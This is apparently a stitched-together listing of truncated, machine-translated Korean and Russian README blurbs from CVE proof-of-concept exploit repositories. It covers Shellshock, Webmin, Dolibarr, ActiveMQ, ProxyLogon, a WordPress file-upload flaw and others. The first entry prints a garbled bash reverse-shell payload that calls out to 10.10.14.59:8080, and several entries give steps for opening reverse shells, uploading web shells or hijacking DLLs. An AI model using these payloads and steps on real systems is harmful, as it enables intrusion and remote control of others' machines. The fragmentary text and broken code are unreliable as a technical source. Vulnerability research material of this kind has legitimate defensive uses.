CVE-2023-38646

CVE-2023-38646 원본 스크립트는 securezeron에서 가져왔습니다. 테스트 과정에서 이 PoC가 생성한 리버스 셸이 base64 인코딩 후 끝의 '=' 문자 때문에 활용에 실패하는 것을 발견했습니다. 이를 약간 수정하여 문제를 해결했습니다. 원래의 reverse shell 페이로드를 생성하는 코드 base64.b64encode"bash -i &/dev/tcp/10.10.14.59/8080 0&1".encode.decode...

CVE-2019-18276

-Исследование и подтверждение возможности PoC уязвимости CVE-2019-18276: Каталог gotham содержит образ Dockerfile, Makefile и shell-скрипт exploit.sh, необходимые для демонстрации. Для запуска демонстрации: следуйте инструкциям и объяснениям в прилагаемом видео: demoCVE201918276.mp4...

CVE-2014-6271

Проверка на уязвимость Shellshock Этот скрипт проверяет, уязвим ли веб-сайт к уязвимости Shellshock CVE-2014-6271. Краткое описание: Уязвимость Shellshock, также известная как Bashdoor, — это брешь в безопасности, обнаруженная в сентябре 2014 года в оболочке Unix Bash. Уязвимость позволяет...

CVE-2019-15107

CVE-2019-15107 CVE-2019-15107용 POC 교육 목적으로만 사용하십시오. 사용 방법: 머신에서 리스너를 엽니다 nc -lnvp perl 명령을 사용자 IP와 포트에 맞게 수정하세요. 스크립트를 실행하면 리스너에 리버스 셸이 열립니다. 파이썬 스크립트는 타임아웃이 발생할 것이며, 이는 정상입니다...

POC-exploit-for-Dolibarr

POC эксплойт для Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost...

CVE-2018-20162-digi-lr54-restricted-shell-escape

layout: post title: "CVE-2018-20162: Digi TransPort LR54 제한된 쉘 탈출" author: sgo category: 보안 Digi TransPort LR54는 산업, 인프라, 소매 및 대중교통에서 일반적으로 사용되는 고속 LTE 라우터입니다. 이 장치는 제한된 샌드박스에서 파이썬 스크립트를 실행할 수 있도록 지원하며, SSH를 통해 접근 가능한 맞춤형 쉘도 동일한 제한을 받습니다. 따라서 관리자는 기본 OS에 접근할 수 없습니다. 저는 샌드박스를 탈출하여 루트 쉘을 획득하는 방법을...

CVE-2020-27955

CVE-2020-27955 취약점 재현 1. Windows 머신에서 취약한 버전의 Git-LFS 다운로드 다운로드 주소: https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1 2. Windows 머신에 설치한 후 host 파일에 다음 정보를 추가합니다. 10.1.1.5는 nc가 8888 포트를 리슨하는 호스트입니다직접 교체 가능 10.1.1.5 abcall.xyz 3. 10.1.1.5 호스트에서 nc로 8888 포트 리슨 시작 ┌──root㉿hostname...

CVE-2024-56264

CVE-2024-56264 WordPress ACF City Selector - 임의 파일 업로드 익스플로잇 CVE-2024-56264 개요 이 저장소는 CVE-2024-56264 에 대한 익스플로잇을 포함합니다. 이는 WordPress ACF City Selector 플러그인버전 = 1.14.0에서 발견된 임의 파일 업로드 취약점입니다. 이 취약점으로 인해 공격자는 취약한 WordPress 인스턴스에 악성 PHP 파일웹 셸을 업로드하고 서버에서 임의 명령을 실행할 수 있습니다. CVE 세부 정보 CVE ID:...

CVE-2021-22204

CVE-2021-22204 Уязвимость Выполнение произвольных команд exiftool Использование 1. Установите IP и порт для получения обратного шелла в файле exploit.py, затем выполните docker compose up 2. После доступа к оболочке Docker выполните python3 exploit.py в каталоге /root для создания файла image.jpg...

cve-2023-4220-poc

CVE-2023-4220 эксплойт PoC для Chamilio Бесстыдно скопировано из Непосредственно вдохновлено: https://starlabs.sg/advisories/23/23-4220/ Использование: Chamilio CVE-2023-4220 POC Exploit positional arguments: url The Chamilio Url. e.g. http://example.com options: -h, --help show this help message...

CVE-2020-8165

CVE-2020-8165.py Оболочка для эксплойта CVE-2020-8165: https://github.com/masahiro331/CVE-2020-8165 Использование: CVE-2020-8165.py IP IP:PORT CVE-2020-8165.py 2.3.2.3 10.10.10.10:4444...

CVE-2020-16846-Saltstack-Salt-API

CVE-2020-16846-Saltstack-Salt-API 취약점 설명: SaltStack Salt 3002까지의 버전에서 문제가 발견되었습니다. SSH 클라이언트가 활성화된 상태에서 Salt API로 조작된 웹 요청을 보내면 셸 주입이 발생할 수 있습니다. 이 취약점에 대한 자세한 내용은 다음에서 확인할 수 있습니다. https://www.zerodayinitiative.com/blog/2020/11/24/detailing-saltstack-salt-command-injection-vulnerabilities 연습 및 학습...

CVE-2014-6271_pwnable

CVE-2014-6271 CVE-2014-6271 — это серьёзная уязвимость, известная как "Shellshock", обнаруженная и опубликованная в 2014 году. Эта уязвимость была найдена в оболочке Bash и затрагивает практически все системы Unix и Linux, являясь одной из самых широко известных уязвимостей в интернете. Угроза...

CVE-2023-46604

CVE-2023-46604 Соберите docker-compose, содержащий два образа: машина жертвы и машина цели, в соответствии с требуемой средой. На машине жертвы запустите ActiveMQ. Переключитесь на машину атакующего: • Откройте HTTP-сервис для отправки эксплойта: python3 -m http.server • Используйте netcat для...

SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2

SMB-PenTest: Metasploitable-2에서 CVE-2007-2447 악용 RedTeam-SMB-PenTest | ---|--- 설명 이 프로젝트는 UMGC의 CMIT 386 과정의 일환으로 수행한 침투 테스트 작업을 기록합니다. Kali Linux 공격 VM에서 Metasploit을 사용하여 Metasploitable 2의 Samba SMB usermapscript 취약점CVE-2007-2447을 악용하는 데 초점을 맞춥니다. 이 개념 증명은 레거시 취약점이 전체 시스템 장악, 자격 증명 탈취 및 데이터 유출로...

CVE-2024-39069

ifood Order Manager 'Gestor de Peddios.exe' - Перехват DLL Злоумышленник помещает вредоносную DLL с именем "d3d12.dll" в каталог, который приложение проверяет раньше, чем найдет легитимную "d3d12.dll". При запуске приложения оно загружает вредоносную DLL вместо легитимной, что позволяет...

Flangvik

Flangvik C POC for CVE-2021-26855, 일명 ProxyLogon, 고전적인 반대화형 웹 셸과 셸코드를 …에서 지원합니다...

CVE-2011-2523

CVE-2011-2523 Это была уязвимость, найденная в службе vsFTPd 2.3.4, которая через порт 6200 выполняет перенаправление, открывая доступ к интерактивной оболочке, тем самым интерпретируя команды. https://www.exploit-db.com/exploits/49757...

CVE-2019-15107

Уязвимость удаленного выполнения кода в инструменте управления сервером Webmin CVE-2019-15107 Краткое описание CVE-2019-15107 — это уязвимость в Webmin, веб-ориентированном инструменте системного администрирования для Unix-систем. В функции изменения пароля этого инструмента определенный параметр...

CVE-2025-55182

CVE-2025-55182 Proof of concept exploit for CVE-2025-55182. When successful, it will emulate a shell on the remote target over HTTP-POST requests. Works with both HTTP and HTTPS, but skips any certificate checks. Only supports directory changes with absolute paths. How to use 1. Set up the...